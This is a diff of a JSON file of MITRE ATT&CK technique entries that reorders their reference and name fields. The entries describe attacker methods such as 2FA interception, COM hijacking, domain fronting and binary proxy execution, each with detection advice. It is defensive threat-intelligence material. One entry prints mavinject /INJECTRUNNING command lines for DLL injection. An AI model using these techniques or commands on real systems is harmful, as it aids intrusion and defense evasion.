+ "value": "Local Job Scheduling - T1168"
},
{
"description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Linux, macOS, Windows\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
- "value": "Two-Factor Authentication Interception - T1111",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1111",
- "https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf",
- "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf"
- ],
"external_id": "T1111",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -2150,19 +2143,19 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1111",
+ "https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf",
+ "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf"
]
},
- "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49"
+ "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49",
+ "value": "Two-Factor Authentication Interception - T1111"
},
{
"description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Stefan Kanthak",
- "value": "Execution through API - T1106",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1106",
- "http://msdn.microsoft.com/en-us/library/ms682425",
- "https://skanthak.homepage.t-online.de/verifier.html"
- ],
"external_id": "T1106",
"kill_chain": [
"mitre-attack:enterprise-attack:execution"
@@ -2173,20 +2166,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1106",
+ "http://msdn.microsoft.com/en-us/library/ms682425",
+ "https://skanthak.homepage.t-online.de/verifier.html"
]
},
- "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670"
+ "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "value": "Execution through API - T1106"
},
{
"description": "The (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, DLL monitoring, Loaded DLLs\n\nDefense Bypassed: Autoruns Analysis\n\nPermissions Required: User\n\nContributors: ENDGAME",
- "value": "Component Object Model Hijacking - T1122",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1122",
- "https://msdn.microsoft.com/library/ms694363.aspx",
- "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
- "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com"
- ],
"external_id": "T1122",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -2199,19 +2191,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1122",
+ "https://msdn.microsoft.com/library/ms694363.aspx",
+ "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
+ "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com"
]
},
- "uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69"
+ "uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
+ "value": "Component Object Model Hijacking - T1122"
},
{
"description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n===Windows===\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n===Mac===\n\nOSX provides a native command, pbpaste, to grab clipboard contents (Citation: Operating with EmPyre).\n\nDetection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring",
- "value": "Clipboard Data - T1115",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1115",
- "https://msdn.microsoft.com/en-us/library/ms649012",
- "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/"
- ],
"external_id": "T1115",
"kill_chain": [
"mitre-attack:enterprise-attack:collection"
@@ -2223,18 +2216,19 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1115",
+ "https://msdn.microsoft.com/en-us/library/ms649012",
+ "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/"
]
},
- "uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f"
+ "uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f",
+ "value": "Clipboard Data - T1115"
},
{
"description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window (Citation: Antiquated Mac Malware).\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nPermissions Required: User",
- "value": "Hidden Window - T1143",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1143",
- "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
- ],
"external_id": "T1143",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -2244,18 +2238,18 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1143",
+ "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
]
},
- "uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf"
+ "uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
+ "value": "Hidden Window - T1143"
},
{
"description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\n\nDetection: If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: SSL/TLS inspection, Packet capture\n\nRequires Network: Yes\n\nContributors: Matt Kelly, @breakersall",
- "value": "Domain Fronting - T1172",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1172",
- "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
- ],
"external_id": "T1172",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -2268,19 +2262,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1172",
+ "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
]
},
- "uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd"
+ "uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd",
+ "value": "Domain Fronting - T1172"
},
{
"description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\n\nDetection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Malware reverse engineering, Process Monitoring\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
- "value": "LC_MAIN Hijacking - T1149",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1149",
- "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf",
- "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
- ],
"external_id": "T1149",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -2292,20 +2285,19 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1149",
+ "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf",
+ "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
- "uuid": "a0a189c8-d3bd-4991-bf6f-153d185ee373"
+ "uuid": "a0a189c8-d3bd-4991-bf6f-153d185ee373",
+ "value": "LC_MAIN Hijacking - T1149"
},
{
"description": "Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.\n\n===Mavinject.exe===\nMavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)\n\n\"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe\" /INJECTRUNNING \nC:\\Windows\\system32\\mavinject.exe /INJECTRUNNING \n\n===SyncAppvPublishingServer.exe===\nSyncAppvPublishingServer.exe can be used to run powershell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)\n\nSeveral others binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)\n\nDetection: Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Digital Certificate Validation\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Praetorian",
- "value": "Signed Binary Proxy Execution - T1218",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1218",
- "https://twitter.com/gn3mes1s/status/941315826107510784",
- "https://twitter.com/monoxgas/status/895045566090010624",
- "https://github.com/api0cradle/UltimateAppLockerByPassList"
- ],
"external_id": "T1218",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -2317,18 +2309,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1218",
+ "https://twitter.com/gn3mes1s/status/941315826107510784",
+ "https://twitter.com/monoxgas/status/895045566090010624",
+ "https://github.com/api0cradle/UltimateAppLockerByPassList"
]
},
- "uuid": "457c7820-d331-465a-915e-42f85500ccc4"
+ "uuid": "457c7820-d331-465a-915e-42f85500ccc4",
+ "value": "Signed Binary Proxy Execution - T1218"
},
{
"description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Casey Smith, Travis Smith, Tripwire",
- "value": "InstallUtil - T1118",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1118",
- "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
- ],
"external_id": "T1118",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -2340,18 +2334,18 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1118",
+ "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
]
},
- "uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b"
+ "uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b",
+ "value": "InstallUtil - T1118"
},
{
"description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis\n\nRequires Network: Yes",
- "value": "Data Obfuscation - T1001",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1001",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1001",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -2366,17 +2360,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1001",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842"
+ "uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842",
+ "value": "Data Obfuscation - T1001"
},
{
"description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nContributors: Travis Smith, Tripwire",
- "value": "Shortcut Modification - T1023",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1023"
- ],
"external_id": "T1023",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -2388,25 +2383,17 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1023"
]
},
- "uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810"
+ "uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810",
+ "value": "Shortcut Modification - T1023"
},
{
"description": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).\n\nDetection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User, Administrator",
- "value": "Launch Agent - T1159",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1159",
- "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
- "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf",
- "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
- "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
- "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
- ],
"external_id": "T1159",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -2417,27 +2404,25 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1159",
+ "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
+ "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
+ "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
+ "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
+ "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf",
+ "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
+ "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
+ "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
]
},
- "uuid": "dd901512-6e37-4155-943b-453e3777b125"
+ "uuid": "dd901512-6e37-4155-943b-453e3777b125",
+ "value": "Launch Agent - T1159"
},
{
"description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a Command-Line Interface. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)\n\nAnother example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)\n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering, Process command-line parameters, Environment variable, Process Monitoring, Windows event logs, Network intrusion detection system, Email gateway, SSL/TLS inspection\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems, Application whitelisting, Process whitelisting, Log analysis, Whitelisting by file name or path\n\nContributors: Red Canary, Christiaan Beek, @ChristiaanBeek",
- "value": "Obfuscated Files or Information - T1027",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1027",
- "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/",
- "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/",
- "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
- "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
- "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf",
- "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/",
- "https://en.wikipedia.org/wiki/Duqu",
- "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/",
- "https://github.com/danielbohannon/Revoke-Obfuscation",
- "https://github.com/itsreallynick/office-crackros"
- ],
"external_id": "T1027",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -2460,18 +2445,27 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1027",
+ "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/",
+ "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/",
+ "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
+ "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
+ "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf",
+ "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/",
+ "https://en.wikipedia.org/wiki/Duqu",
+ "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/",
+ "https://github.com/danielbohannon/Revoke-Obfuscation",
+ "https://github.com/itsreallynick/office-crackros"
]
},
- "uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a"
+ "uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "value": "Obfuscated Files or Information - T1027"
},
{
"description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows, macOS\n\nData Sources: Process monitoring, File monitoring, API monitoring\n\nPermissions Required: User\n\nContributors: Praetorian",
- "value": "Video Capture - T1125",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1125",
- "https://objective-see.com/blog/blog%200x25.html"
- ],
"external_id": "T1125",
"kill_chain": [
"mitre-attack:enterprise-attack:collection"
@@ -2484,22 +2478,18 @@
"mitre_platforms": [
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1125",
+ "https://objective-see.com/blog/blog%200x25.html"
]
},
